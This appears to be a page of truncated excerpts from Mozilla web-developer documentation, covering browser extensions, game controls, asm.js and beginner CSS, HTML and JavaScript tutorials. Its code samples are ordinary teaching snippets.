dows and linux with java installed; mac does not work) extension which allows one to perform xqueries on external urls, the currently loaded webpage (even if originally from poorly formed html), and/or xml (including well-formed xhtml) documents stored locally. the extension now includes and interfaces with the open-source version of saxonica's saxon b (though this extension currently only performs the xqueries). other popular native xml databases might also be supported (e.g., exist) in the future, especially now that the extension has added some basic support for the open-standard (xqj) for java and exist is in the midst of getting such an api. berkeley db xml was the initial choice by the extension developer for its support across many languages (c++, java, python, perl, php, etc.) (besi...
...ight also be supported (e.g., exist) in the future, especially now that the extension has added some basic support for the open-standard (xqj) for java and exist is in the midst of getting such an api. berkeley db xml was the initial choice by the extension developer for its support across many languages (c++, java, python, perl, php, etc.) (besides its also being open source), but now some problems may exist with bdbxml (unlike saxon). a simple usage example is available. notes for developers wishing to access xquery in their own extensions at present, the extension works simply by using liveconnect to work with berkeley db xml's java api (and via a java wrapper class which circumvents liveconnect's current inability to handle some types of java exceptions properly). however, use of the...
Common causes of memory leaks in extensions - Extensions
this page explains coding patterns that cause extension to cause memory leaks. causes of zombie compartments zombie compartments are a particular kind of memory leak. all zombie compartments in extensions are caused by a failure to release resources appropriately in certain circumstances, such as when a window is closed, a page unloads, or an extension is disabled or removed. while bug 695480 should prevent most of these compartment leaks, add-ons still need to be aware of the practices that caused these leaks, as the fix causes many add-ons which would have otherwise caused a leak to instead throw errors when attempting to access nodes from documents which no longer exist. storing references to window objects and dom nodes the most common problem is extensions holding onto refe...
...e corresponding content document is unloaded, by adding an unload event listener or by similar means. another solution would be to use the setinterval()/settimeout() instances content windows provide, but there is a big drawback with this idea: if the user disables javascript globally or locally (such as by using an add-on like noscript), then using the content window functions won't work. problems in bootstrapped (restartless) add-ons bootstrapped extensions use a bootstrap.js compartment. if you put a reference to anything within this compartment into a long-lived window object (such as browser.xul), javascript module or xpcom component, the bootstrap.js compartment will become a zombie. for example, the following code snippets — part of a bootstrap.js — will leak: function leakref(...
Desktop gamepad controls - Game development
it brings a console-like experience to your web games. the gamepad api gives you the ability to connect a gamepad to your computer and detect pressed buttons directly from the javascript code thanks to the browsers implementing such feature. an api exposes all the information you need to hook up your game's logic and successfully control the user interface and gameplay. api status, browser and hardware support the gamepad api is still in working draft status, although browser support is already quite good — around 63% global coverage, according to caniuse.com. ...
...mepad controls in our game — try connecting any popular controller like the xbox 360 one and see for yourself how fun it is to avoid the asteroids and shoot the aliens with a gamepad. now we can move on and explore new, even more unconventional ways to control the html5 game like waving your hand in front of the laptop or screaming into your microphone. previous overview: control mechanisms next ...
Desktop mouse and keyboard controls - Game development
we'll look at this below. it's also easier to test control-independent features like gameplay on desktop if you develop it there, so you don't have to push the files to a mobile device every time you make a change in the source code. note: the captain rogers: battle at andromeda is built with phaser and managing the controls is phaser-based, but it could also be done in pure javascript. ...
...rforming actions. ...
asm.js - Game development
nly allows things like `while`, `if`, numbers, top-level named functions, and other simple constructs. it does not allow objects, strings, closures, and basically anything that requires heap allocation. asm.js code resembles c in many ways, but it's still completely valid javascript that will run in all current engines. it pushes js engines to optimize this kind of code, and gives compilers like emscripten a clear definition of what kind of code to generate. we will show what asm.js code looks like and explain how it helps and how you can use it. this subset of javascript is already highly optimized in many javascript engines using fancy just-in-time (jit) compiling techniques. however, by defining an explicit standard we can work on optimizing this kind of code even more and getting as muc...
...sy to talk about and benchmark. the idea is that this kind of code should run very fast in each engine, and if it doesn't, it's a bug and there's a clear spec that engines should optimize for. it also makes it easy for people writing compilers that want to generate high-performant code on the web. they can consult the asm.js spec and know that it will run fast if they adhere to asm.js patterns. emscripten, a c/c++ to javascript compiler, emits asm.js code to make it run with near native performance on several browsers. additionally, if an engine chooses to specially recognize asm.js code, there even more optimizations that can be made. firefox is the only browser to do this right now. asm.js language summary asm.js is an intermediate programming language. asm.js has a very predictable p...
Game development
development. note: creating games on the web draws on a number of core web technologies such as html, css, and javascript. the learning area is a good place to go to get started with the basics. ...
...native developer (for example writing games in c++), and you are interested in how you can port your games over to the web, you should learn more about our emscripten tool — this is an llvm to javascript compiler, which takes llvm bytecode (e.g. generated from c/c++ using clang, or from another language) and compiles that into asm.js, which can be run on the web. to get started, see: about emscripten for an introduction including high-level details. download and install for installing the toolchain. emscripten tutorial for a tutorial to teach you how to get started. examples for a list of web game examples, see our examples page. also, check out games.mozilla.org for more useful resources! ...
Test your skills: CSS and JavaScript accessibility - Learn web development
r help — see the assessment or further help section at the bottom of this page. css accessibility 1 in the first task you are presented with a list of links. however, their accessibility is pretty bad — there is no way to really tell that they are links, or to tell which one the user is focussed on. we'd like you to assume that the existing ruleset with the a selector is supplied by some cms, and that you can't change it — instead, you need to create new rules to make the links look and behave like links, and for the user to be able to tell where they are in the list. try updating the live code below to recreate the finished example: download the starting point for this task to work in your own editor or in an online editor. css accessibility 2 in this next task you are pre...
... updating the live code below to recreate the finished example: download the starting point for this task to work in your own editor or in an online editor. css accessibility 2 in this next task you are presented with a simple bit of content — just headings and paragraphs. there are accessibility issues with the colors and sizing of the text; we'd like you to: 1. explain what the problems are, and what the guidelines are that state the acceptable values for color and sizing. 2. select new values for the color and font-size that fix the problem. 3. update the css with these new values to fix the problem. 4. test the code to make sure the problem is now fixed. explain what tools or methods you used to select the new values and test the code. try updating the live code below to r...
Pseudo-classes and pseudo-elements - Learn web development
intain — what if a new paragraph got added to the top of the document? we'd need to move the class over to the new paragraph. instead of adding the class, we could use the :first-child pseudo-class selector — this will always target the first child element in the article, and we will no longer need to edit the html (this may not always be possible anyway, maybe due to it being generated by a cms.) all pseudo-classes behave in this same kind of way. they target some bit of your document that is in a certain state, behaving as if you had added a class into your html. take a look at some other examples on mdn: :last-child :only-child :invalid note: it is valid to write pseudo-classes and elements without any element selector preceding them. in the example above, you could write :...
...a spelling error as flagged by the browser. ...
Type, class, and ID selectors - Learn web development
ind of behavior can sometimes be seen in "reset stylesheets", which strips out all of the browser styling. since the universal selector makes global changes, we use it to deal with very specific situations such as the one outlined below. using the universal selector to make your selectors easier to read one use of the universal selector is to make selectors easier to read and more obvious in terms of what they are doing. for example, if i wanted to select the first child of any descendant element of <article> , no matter what element it was, and make it bold, i could use the :first-child selector, which we will learn more about in the lesson on pseudo-classes and pseudo-elements, as a descendant selector along with the <article> element selector: article :first-child { } this could be ...
...ring selectors by looking at attribute selectors. ...
CSS selectors - Learn web development
asic computer literacy, basic software installed, basic knowledge of working with files, html basics (study introduction to html), and an idea of how css works (study css first steps.) objective: to learn how css selectors work in detail. what is a selector? you have met selectors already. a css selector is the first part of a css rule. it is a pattern of elements and other terms that tell the browser which html elements should be selected to have the css property values inside the rule applied to them. the element or elements which are selected by the selector are referred to as the subject of the selector. in earlier articles you met some different selectors, and learned that there are selectors that target the document in different ways — for example by selecting ...
... h1 + p adjacent sibling general sibling combinator h1 ~ p general sibling in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling tables debugging css organizing your css ...
Test your skills: Grid Layout - Learn web development
you will be working through three small tasks which use different elements of the material you have just covered. note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks. if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page. grid layout one in this task you should create a grid into which the four child elements will auto-place. ...
...o in this example we already have a grid defined. by editing the css rules for the two child elements, cause them to span over several grid tracks each; the second item should overlay the first as in the image below. try updating the live code below to recreate the finished example: additional questions: can you now cause the first item to display on top without changing the order of items in the source? for assessment or further work purposes, download the starting point for this task to work in your own editor or in an online editor. grid layout three there are four direct children in this grid; the starting point has them displayed using auto-placement. use the grid-area and grid-template-areas properties to lay the items out as shown in the image. try updating the live...
Positioning - Learn web development
ll explain in the next section. introducing top, bottom, left, and right top, bottom, left, and right are used alongside position to specify exactly where to move the positioned element to. to try this out, add the following declarations to the .positioned rule in your css: top: 30px; left: 30px; note: the values of these properties can take any units you'd logically expect — pixels, mm, rems, %, etc. if you now save and refresh, you'll get a result something like this: <h1>relative positioning</h1> <p>i am a basic block level element. my adjacent block level elements sit on new lines below me.</p> <p class="positioned">by default we span 100% of the width of our parent element, and we are as tall as our child content. our total width and height is our content + padding + border...
...lute positioning fixes an element in place relative to its nearest positioned ancestor (the initial containing block if there isn't one), fixed positioning usually fixes an element in place relative to the visible portion of the viewport, except if one of its ascendants is a fixed containing block due to its transform property being different from none. this means that you can create useful ui items that are fixed in place, like persisting navigation menus that are always visible no matter how much the page scrolls. let's put together a simple example to show what we mean. first of all, delete the existing p:nth-of-type(1) and .positioned rules from your css. now, update the body rule to remove the position: relative; declaration and add a fixed height, like so: body { width: 500px; h...
CSS layout - Learn web development
lessons is an assessment to help you check your understanding of layout methods, by laying out a webpage. introduction to css layout this article will recap some of the css layout features we've already touched upon in previous modules — such as different display values — and introduce some of the concepts we'll be covering throughout this module. normal flow elements on webpages lay themselves out according to normal flow - until we do something to change that. this article explains the basics of normal flow as a grounding for learning how to change it. flexbox flexbox is a one-dimensional layout method for laying out items in rows or columns. items flex to fill additional space and shrink to fit into smaller spaces. this article explains all the fundamentals. after studying thi...
... of the viewport, but they can also be used to detect other things about the environment your site is running on, for example whether the user is using a touchscreen rather than a mouse. in this lesson you will first learn about the syntax used in media queries, and then move on to use them in a worked example showing how a simple design might be made responsive. legacy layout methods grid systems are a very common feature used in css layouts, and before css grid layout they tended to be implemented using floats or other layout features. you imagine your layout as a set number of columns (e.g. 4, 6, or 12), and then fit your content columns inside these imaginary columns. in this article we'll explore how these older methods work, in order that you understand how they were used if you work...
Getting started with CSS - Learn web development
style an html element. we do this by targeting an element selector — this is a selector that directly matches an html element name. to target all paragraphs in the document you would use the selector p. to turn all paragraphs green you would use: p { color: green; } you can target multiple selectors at once, by separating the selectors with a comma. if i want all paragraphs and all list items to be green my rule looks like this: p, li { color: green; } try this out in the interactive editor below (edit the code boxes), or in your local css document. changing the default behavior of elements when we look at a well-marked up html document, even something as simple as our example, we can see how the browser is making the html readable by adding some default styling. headings a...
... types together, too. try adding the following into your code: body h1 + p .special { color: yellow; background-color: black; padding: 5px; } this will style any element with a class of special, which is inside a <p>, which comes just after an <h1>, which is inside a <body>. phew! in the original html we provided, the only element styled is <span class="special">. don't worry if this seems complicated at the moment — you'll soon start to get the hang of it as you write more css. wrapping up in this tutorial, we have taken a look at a number of ways in which you can style a document using css. we will be developing this knowledge as we move through the rest of the lessons. however you now already know enough to style text, apply css based on different ways of targeting elements ...
How CSS is structured - Learn web development
for example, perhaps you're working with a content management system where you are blocked from modifying external css files. but for sites with more than one page, an internal stylesheet becomes a less efficient way of working. to apply uniform css styling to multiple pages using internal stylesheets, you must have an internal stylesheet in every web p...
...e. first, it is the least efficient implementation of css for maintenance. one styling change might require multiple edits within in a single web page. second, inline css also mixes (css) presentational code with html and content, making everything more difficult to read and understand. separating code and content makes maintenance easier for all who work on the the website. there are a few circumstances where inline styles are more common. you might have to resort to using inline styles if your working environment is very restrictive. for example, perhaps your cms only allows you to edit the html body. you may also see a lot of inline styles in html email to achieve compatibility with as many email clients as possible. playing with the css in this article for the exercise that follows, c...
How CSS works - Learn web development
om node in the tree structure. the nodes are defined by their relationship to other dom nodes. some elements are parents of child nodes, and child nodes have siblings. understanding the dom helps you design, debug and maintain your css because the dom is where your css and the document's content meet up. when you start working with browser devtools you will be navigating the dom as you select items in order to see which rules apply. a real dom representation rather than a long, boring explanation, let's look at an example to see how a real html snippet is converted into a dom. take the following html code: <p> let's use: <span>cascading</span> <span>style</span> <span>sheets</span> </p> in the dom, the node corresponding to our <p> element is a parent. its children are a text ...
...rom it, then parse the css. since the only rule available in the css has a span selector, the browser will be able to sort the css very quickly! it will apply that rule to each one of the three <span>s, then paint the final visual representation to the screen. the updated output is as follows: in our debugging css article in the next module we will be using browser devtools to debug css problems, and will learn more about how the browser interprets css. what happens if a browser encounters css it doesn't understand? in an earlier lesson i mentioned that browsers do not all implement new css at the same time. in addition, many people are not using the latest version of a browser. given that css is being developed all the time, and is therefore ahead of what browsers can recognise, you m...
How do I start to design my website? - Learn web development
every project: define what you want to accomplish with it. prerequisites: none objective: learn to define goals to give direction to your web project. summary when starting with a web project, many people focus on the technical side. of course you must be familiar with the technique of your craft, but what really matters is what you want to accomplish. yes, it seems obvious, but too many projects fail not from a lack of technical know-how, but from lack of goals and vision. so when you get an idea and want to turn it into a website, there are a few questions you should answer before anything else: what exactly do i want to accomplish? how will a website help me reach my goals? what needs to be done, and in what order, to reach my goals? all of this i...
...pping find a way to handle payment make a mechanism on your site for people to place orders teach music through videos record video lessons prepare video files viewable online (again, could you do this with existing web services?) give people access to your videos on some part of your website two things to notice. first, some of these items are not web-related (e.g., record music, write articles). often those offline activities matter even more than the web side of the project. in sales, for instance, it's far more important and time-consuming to handle supply, payment, and shipment than to build a website where people can place orders. second, setting out actionable steps leads to new questions you'll need to answer. usually there...
What is a web server? - Learn web development
store the website's files, namely all html documents and their related assets, including images, css stylesheets, javascript files, fonts, and video. technically, you could host all those files on your own computer, but it's far more convenient to store files all on a dedicated web server because: a dedicated web server is typically more available. (up and running) excusing downtime and systems troubles, a dedicated web server is always connected to the internet. a dedicated web server can have the same ip address all the time. this is known as a dedicated ip address. (not all isps provide a fixed ip address for home lines) a dedicated web server is typically maintained by a third-party. for all these reasons, finding a good hosting provider is a key part of building your website. e...
...e content or even generates it on the fly from a database. this approach provides more flexibility, but the technical stack is more complex, making it dramatically more challenging to build a website. there are so many application servers that it's difficult to suggest a particular one. some application servers cater to specific website categories like blogs, wikis, or ecommerce; others, called cmss (content management systems), are more generic. if you're building a dynamic website, take the time to choose technology that fits your needs. unless you want to learn web server programming (which is an exciting area in itself!), you don't need to create your own application server. that's just unknown prefix: wikipedia.. next steps now that you are familiar with web servers, you could: re...
Example - Learn web development
this is the example code for the article your first html form. ...
... for the article your first html form. ...
Dealing with files - Learn web development
is because: many computers, particularly web servers, are case-sensitive. so for example, if you put an image on your website at, test-site/myimage.jpg and then in a different file you try to invoke the image as test-site/myimage.jpg, it may not work. browsers, web servers, and programming languages do not handle spaces consistently. for example, if you use spaces in your filename, some systems may treat the filename as two filenames. some servers will replace the areas in your filenames with "%20" (the character code for spaces in uris), resulting in all your links being broken. it's better to separate words with dashes, rather than underscores: my-file.html vs. my_file.html. the short answer is that you should use a hyphen for your file names. the google search engine treats a hyphe...
...rt answer is that you should use a hyphen for your file names. the google search engine treats a hyphen as a word separator but does not regard an underscore that way. for these reasons, it is best to get into the habit of writing your folder and file names lowercase with no spaces and with words separated by dashes, at least until you know what you're doing. that way you'll bump into fewer problems later down the road. what structure should your website have? next, let's look at what structure our test site should have. the most common things we'll have on any website project we create are an index html file and folders to contain images, style files, and script files. let's create these now: index.html: this file will generally contain your homepage content, that is, the text and imag...
HTML basics - Learn web development
ear in search results, css to style our content, character set declarations and more. <meta charset="utf-8"> — this element sets the character set your document should use to utf-8 which includes most characters from the vast majority of written languages. essentially, it can now handle any textual content you might put on it. there is no reason not to set this and it can help avoid some problems later on. <title></title> — the <title> element. this sets the title of your page, which is the title that appears in the browser tab the page is loaded in. it is also used to describe the page when you bookmark/favourite it. <body></body> — the <body> element. this contains all the content that you want to show to web users when they visit your page, whether that's text, images, videos, ga...
... text (you should have it from what should your website look like?) into one or a few paragraphs, placed directly below your <img> element. lists a lot of the web's content is lists and html has special elements for these. marking up lists always consist of at least 2 elements. the most common list types are ordered and unordered lists: unordered lists are for lists where the order of the items doesn't matter, such as a shopping list. these are wrapped in a <ul> element. ordered lists are for lists where the order of the items does matter, such as a recipe. these are wrapped in an <ol> element. each item inside the lists is put inside an <li> (list item) element. for example, if we wanted to turn the part of the following paragraph fragment into a list <p>at mozilla, we’re a glob...
Installing basic software - Learn web development
emacs, or vim), or a hybrid editor (e.g. dreamweaver or webstorm). office document editors are not suitable for this use, as they rely on hidden elements that interfere with the rendering engines used by web browsers. web browsers, to test code in. currently, the most-used browsers are firefox, chrome, opera, safari, internet explorer and microsoft edge. you should also test how your site performs on mobile devices and on any old browsers your target audience may still be using (such as ie 8–10.) lynx, a text-based terminal web browser, is great for seeing how your site is experienced by visually-impaired users. a graphics editor, like gimp, figma, paint.net, photoshop, or xd, to make images or graphics for your web pages. a version control system, to manage files on servers, collabora...
...ol system, to manage files on servers, collaborate on a project with a team, share code and assets and avoid editing conflicts. right now, git is the most popular version control system along with the github or gitlab hosting service. an ftp program, used on older web hosting accounts to manage files on servers (git is increasingly replacing ftp for this purpose). there are loads of (s)ftp programs available including cyberduck, fetch and filezilla. an automation system, like webpack, grunt, or gulp to automatically perform repetitive tasks, such as minifying code and running tests. libraries, frameworks, etc., to speed up writing common functionality. a library tends to be an existing javascript or css file that provides ready-rolled functionality for you to make use of in your code. a f...
What will your website look like? - Learn web development
by creating a simple webpage with a heading, an image, and a few paragraphs. to begin, you'll need to answer these questions: what is your website about? do you like dogs, new york, or pac-man? what information are you presenting on the subject? write a title and a few paragraphs and think of an image you'd like to show on your page. what does your website look like, in simple high-level terms? what's the background color? what kind of font is appropriate: formal, cartoony, bold and loud, subtle? note: complex projects need detailed guidelines that go into all the details of colors, fonts, spacing between items on a page, appropriate writing style, and so on. this is sometimes called a design guide, design system, or brand book, and you can see an example at the firefox photon desig...
...book, and you can see an example at the firefox photon design system. sketching out your design next, grab pen and paper and sketch out roughly how you want your site to look. for your first simple webpage, there's not much to sketch out, but you should get in the habit of doing this now. it really helps — you don't have to be van gogh! note: even on real, complex websites, the design teams usually start out with rough sketches on paper and later on build digital mockups using a graphics editor or web technologies. web teams often include both a graphic designer and a user experience (ux) designer. graphic designers put together the visuals of the website. ux designers have a somewhat more abstract role in addressing how users will experience and interact with the website. choosi...
Tips for authoring fast-loading HTML pages - Learn web development
these tips are based on common knowledge and experimentation. an optimized web page not only provides for a more responsive site for your visitors but also reduces the load on your web servers and internet connection. this can be crucial for high volume sites or sites which have a spike in traffic due to unusual circumstances such as breaking news stories. optimizing page load performance is not just for content which will be viewed by narrowband dial-up or mobile device visitors. it is just as important for broadband content and can lead to dramatic improvements even for your visitors with the fastest connections. tips reduce page weight page weight is by far the most important factor in page-load performance. reducing page weight through the elimination of unnecessary whitesp...
... of inline scripts in general, and reducing the use of document.write() to output content in particular, can improve overall page loading. use modern ajax methods to manipulate page content for modern browsers, rather than the older approaches based on document.write(). use modern css and valid markup use of modern css reduces the amount of markup, can reduce the need for (spacer) images, in terms of layout, and can very often replace images of stylized text -- that "cost" much more than the equivalent text-and-css. using valid markup has other advantages. first, browsers will have no need to perform error-correction when parsing the html (this is aside from the philosophical issue of whether to allow format variation in user input and then programmatically "correct" or normalize it; or w...
Creating hyperlinks - Learn web development
for example, if an index.html page is uploaded to a directory called projects that sits inside the root of a web server, and the web site's domain is http://www.example.com, the page would be available at http://www.e...
... there's a link, because links are generally styled in a different color and underlined (this convention generally shouldn't be broken, as users are used to it). keep your link label as short as possible — this is helpful because screen readers need to interpret the entire link text. minimize instances where multiple copies of the same text are linked to different places. this can cause problems for screen reader users, if there's a list of links out of context that are labeled "click here", "click here", "click here". use relative links wherever possible from the description above, you might think that it's a good idea to just use absolute links all the time because they don't break when a page is moved like relative links. however, you should use relative links wherever possible whe...
Making asynchronous programming easier with async and await - Learn web development
ing. bye for now!`); }; } let han = new person('han', 'solo', 25, 'male', ['smuggling']); the first class method could now be used something like this: han.greeting().then(console.log); browser support one consideration when deciding whether to use async/await is support for older browsers. they are available in modern versions of most browsers, the same as promises; the main support problems come with internet explorer and opera mini. if you want to use async/await but are concerned about older browser support, you could consider using the babeljs library — this allows you to write your applications using the latest javascript and let babel figure out what changes if any are needed for your user’s browsers. on encountering a browser that does not support async/await, babel's pol...
...ny are needed for your user’s browsers. on encountering a browser that does not support async/await, babel's polyfill can automatically provide fallbacks that work in older browsers. conclusion and there you have it — async/await provide a nice, simplified way to write async code that is simpler to read and maintain. even with browser support being more limited than other async code mechanisms at the time of writing, it is well worth learning and considering for use, both for now and in the future. previous overview: asynchronous next in this module general asynchronous programming concepts introducing asynchronous javascript cooperative asynchronous javascript: timeouts and intervals graceful asynchronous programming with promises making asynchronous programming easie...
Drawing graphics - Learn web development
ong the x axis. second, we work out the height of our equalateral triangle, using a bit of simple trigonometry. basically, we are drawing the triangle pointing downwards. the angles in an equalateral triangle are always 60 degrees; to work out the height we can split it down the middle into two right-angled triangles, which will each have angles of 90 degrees, 60 degrees, and 30 degrees. in terms of the sides: the longest side is called the hypotenuse the side next to the 60 degree angle is called the adjacent — which we know is 50 pixels, as it is half of the line we just drew. the side opposite the 60 degree angle is called the opposite, which is the height of the triangle we want to calculate. one of the basic trigonometric formulae states that the length of th...
...t three.js attached to our page, we can start to write javascript that makes use of it into main.js. let's start by creating a new scene — add the following into your main.js file: const scene = new three.scene(); the scene() constructor creates a new scene, which represents the whole 3d world we are trying to display. next, we need a camera so we can see the scene. in 3d imagery terms, the camera represents a viewer's position in the world. to create a camera, add the following lines next: const camera = new three.perspectivecamera(75, window.innerwidth / window.innerheight, 0.1, 1000); camera.position.z = 5; the perspectivecamera() constructor takes four arguments: the field of view: how wide the area in front of the camera is that should be visible onscreen, in...
Fetching data from the server - Learn web development
this seemingly small detail has had a huge impact on the performance and behavior of sites, so in this article, we'll explain the concept and look at technologies that make it possible, such as xmlhttprequest and the fetch api. ...
...tore — it's a fictional supermarket that only sells canned goods. you can find this example live on github, and see the source code. by default, the site displays all the products, but you can use the form controls in the left hand column to filter them by category, or search term, or both. there is quite a lot of complex code that deals with filtering the products by category and search terms, manipulating strings so the data displays correctly in the ui, etc. we won't discuss all of it in the article, but you can find extensive comments in the code (see can-script.js). we will however explain the fetch code. the first block that uses fetch can be found at the start of the javascript: fetch('products.json').then(function(response) { return response.json(); }).then(function(json) ...
Third-party APIs - Learn web development
trol(l.mapquest.control({ position: 'bottomright' })); there are other types of control available, for example mapquest.searchcontrol() and mapquest.satellitecontrol(), and some are quite complex and powerful. have a play around and see what you can come up with. adding a custom marker adding a marker (icon) at a certain point on the map is easy — you just use the l.marker() method (which seems to be documented in the related leaflet.js docs). add the following code to your example, again inside window.onload: l.marker([53.480759, -2.242631], { icon: l.mapquest.icons.marker({ primarycolor: '#22407f', secondarycolor: '#3b5998', shadow: true, size: 'md', symbol: 'a' }) }) .bindpopup('this is manchester!') .addto(map); as you can see, this at its simplest takes tw...
...i — nytimes now let's look at another api example — the new york times api. this api allows you to retrieve new york times news story information and display it on your site. this type of api is known as a restful api — instead of getting data using the features of a javascript library like we did with mapquest, we get data by making http requests to specific urls, with data like search terms and other properties encoded in the url (often as url parameters). this is a common pattern you'll encounter with apis. an approach for using third-party apis below we'll take you through an exercise to show you how to use the nytimes api, which also provides a more general set of steps to follow that you can use as an approach for working with new apis. find the documentation when you want t...
Video and Audio APIs - Learn web development
don't specify this, you get no playback controls: this is not as immediately useful for video playback, but it does have advantages. one big issue with the native browser controls is that they are different in each browser — not very good for cross-browser support! another big issue is that the native controls in most browsers aren't very keyboard-accessible. you can solve both these problems by hiding the native controls (by removing the controls attribute), and programming your own with html, css, and javascript. in the next section we'll look at the basic tools we have available to do this. the htmlmediaelement api part of the html5 spec, the htmlmediaelement api provides features to allow you to control video and audio players programmatically — for example htmlmediaelement.pl...
...ute to provide an understandable description of each button, since we're not providing a human-readable label inside the tags. the contents of aria-label attributes are read out by screenreaders when their users focus on the elements that contain them. there is also a timer <div>, which will report the elapsed time when the video is playing. just for fun, we are providing two reporting mechanisms — a <span> containing the elapsed time in minutes and seconds, and an extra <div> that we will use to create a horizontal indicator bar that gets longer as the time elapses. to get an idea of what the finished product will look like, check out our finished version. exploring the css now open the css file and have a look inside. the css for the example is not too complicated, but we'll h...
A first splash into JavaScript - Learn web development
res in a lot more detail! note: many of the code features you'll see in javascript are the same as in other programming languages — functions, loops, etc. the code syntax looks different, but the concepts are still largely the same. thinking like a programmer one of the hardest things to learn in programming is not the syntax you need to learn, but how to apply it to solve real world problems. you need to start thinking like a programmer — this generally involves looking at descriptions of what your program needs to do, working out what code features are needed to achieve those things, and how to make them work together. this requires a mixture of hard work, experience with the programming syntax, and practice — plus a bit of creativity. the more you code, the better you'll get a...
...r into the <input> text field as soon as the page loads, meaning that the user can start typing their first guess right away, without having to click the form field first. it's only a small addition, but it improves usability — giving the user a good visual clue as to what they've got to do to play the game. let's analyze what's going on here in a bit more detail. in javascript, most of the items you will manipulate in your code are objects. an object is a collection of related functionality stored in a single grouping. you can create your own objects, but that is quite advanced and we won't be covering it until much later in the course. for now, we'll just briefly discuss the built-in objects that your browser contains, which allow you to do lots of useful things. in this particular cas...
Handling text — strings in JavaScript - Learn web development
ed medium designed to allow humans to communicate and share information, it is useful for us to have control over the words that appear on it. html provides structure and meaning to our text, css allows us to precisely style it, and javascript contains a number of features for manipulating strings, creating custom welcome messages and prompts, showing the right text labels when needed, sorting terms into the desired order, and much more. pretty much all of the programs we've shown you so far in the course have involved some string manipulation. strings — the basics strings are dealt with similarly to numbers at first glance, but when you dig deeper you'll start to see some notable differences. let's start by entering some basic lines into the browser developer console to familiarize our...
...score of ${ score/highestscore * 100 }%.`; there is no more need to open and close multiple string pieces — the whole lot can just be wrapped in a single pair of backticks. when you want to include a variable or expression inside the string, you include it inside a ${ } construct, which is called a placeholder. you can include complex expressions inside template literals, for example: let examscore = 45; let examhighestscore = 70; examreport = `you scored ${ examscore }/${ examhighestscore } (${ math.round((examscore/examhighestscore*100)) }%). ${ examscore >= 49 ? 'well done, you passed!' : 'bad luck, you didn\'t pass this time.' }`; the first two placeholders here are pretty simple, only including a simple value in the string. the third one calculates a percentage result and round...
Test your skills: Arrays - Learn web development
tion at the bottom of this page. note: in the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's javascript console, in the case of the downloadable version). arrays 1 let's start off with some basic array practice. in this task we'd like you to create an array of three items, stored inside a variable called myarray. the items can be anything you want — how about your favourite foods or bands? next, modify the first two items in the array using simple bracket notation and assignment. then add a new item to the beginning of the array. try updating the live code below to recreate the finished example: download the starting point for this task to work in your own...
...ing array, and you will work in somewhat the opposite direction. you need to: remove the last item in the array. add two new names to the end of the array. go over each item in the array and add its index number after the name inside parentheses, for example ryu (0). note that we don't teach how to do this in the arrays article, so you'll have to do some research. finally, join the array items together in a single string called mystring, with a separator of " - ". try updating the live code below to recreate the finished example: download the starting point for this task to work in your own editor or in an online editor. assessment or further help you can practice these examples in the interactive editors above. if you would like your work assessed, or are stuck and want to a...
What went wrong? Troubleshooting JavaScript - Learn web development
previous overview: first steps next when you built up the "guess the number" game in the previous article, you may have found that it didn't work. never fear — this article aims to save you from tearing your hair out over such problems by providing you with some tips on how to find and fix errors in javascript programs. prerequisites: basic computer literacy, a basic understanding of html and css, an understanding of what javascript is. objective: to gain the ability and confidence to start fixing problems in your own code. types of error generally speaking, when you do something wrong in code, there are two main types of error that you'll come across: syntax errors: these are spelling errors in your code that actually cause the program not to ...
...ng. bear in mind that the error is not necessarily going to be on that line, and also that the error might not be caused by the exact same problem we cited above! note: see our syntaxerror: unexpected token and syntaxerror: unterminated string literal reference pages for more details about these errors. summary so there we have it, the basics of figuring out errors in simple javascript programs. it won't always be that simple to work out what's wrong in your code, but at least this will save you a few hours of sleep and allow you to progress a bit faster when things don't turn out right, especially in the earlier stages of your learning journey. ...
JavaScript First Steps - Learn web development
, and what you can do with it, we are going to give you a crash course in the basic features of javascript via a completely practical tutorial. here you'll build up a simple "guess the number" game, step by step. what went wrong? troubleshooting javascript when you built up the "guess the number" game in the previous article, you may have found that it didn't work. never fear — this article aims to save you from tearing your hair out over such problems by providing you with some simple tips on how to find and fix errors in javascript programs. storing the information you need — variables after reading the last couple of articles you should now know what javascript is, what it can do for you, how you use it alongside other web technologies, and what its main features look like from a ...
...looked at the very basics of strings, let's move up a gear and start thinking about what useful operations we can do on strings with built-in methods, such as finding the length of a text string, joining and splitting strings, substituting one character in a string for another, and more. arrays in the final article of this module, we'll look at arrays — a neat way of storing a list of data items under a single variable name. here we look at why this is useful, then explore how to create an array, retrieve, add, and remove items stored in an array, and more besides. assessments the following assessment will test your understanding of the javascript basics covered in the guides above. silly story generator in this assessment you'll be tasked with taking some of the knowledge you've ...
Object-oriented JavaScript for beginners - Learn web development
ct-oriented programming — the basics to start with, let's give you a simplistic, high-level view of what object-oriented programming (oop) is. we say simplistic, because oop can quickly get very complicated, and giving it a full treatment now would probably confuse more than help. the basic idea of oop is that we use objects to model real world things that we want to represent inside our programs, and/or provide a simple way to access functionality that would otherwise be hard or impossible to make use of. objects can contain related data and code, which represent information about the thing you are trying to model, and functionality or behavior that you want it to have. object data (and often, functions too) can be stored neatly (the official word is encapsulated) inside an object packa...
...[1] person1.bio() // etc. note: if you are having trouble getting this to work, try comparing your code against our version — see oojs-class-finished.html (also see it running live). further exercises to start with, try adding a couple more object creation lines of your own, and try getting and setting the members of the resulting object instances. in addition, there are a couple of problems with our bio() method — the output always includes the pronoun "he", even if your person is female, or some other preferred gender classification. and the bio only includes two interests, even if more are listed in the interests array. can you work out how to fix this in the class definition (constructor)? you can put any code you like inside a constructor (you'll probably need a few conditiona...
Introducing JavaScript objects - Learn web development
s on object-oriented javascript (oojs) — this article presents a basic view of object-oriented programming (oop) theory, then explores how javascript emulates object classes via constructor functions, and how to create object instances. object prototypes prototypes are the mechanism by which javascript objects inherit features from one another, and they work differently to inheritance mechanisms in classical object-oriented programming languages. in this article, we explore that difference, explain how prototype chains work, and look at how the prototype property can be used to add methods to existing constructors. inheritance in javascript with most of the gory details of oojs now explained, this article shows how to create "child" object classes (constructors) that inherit features f...
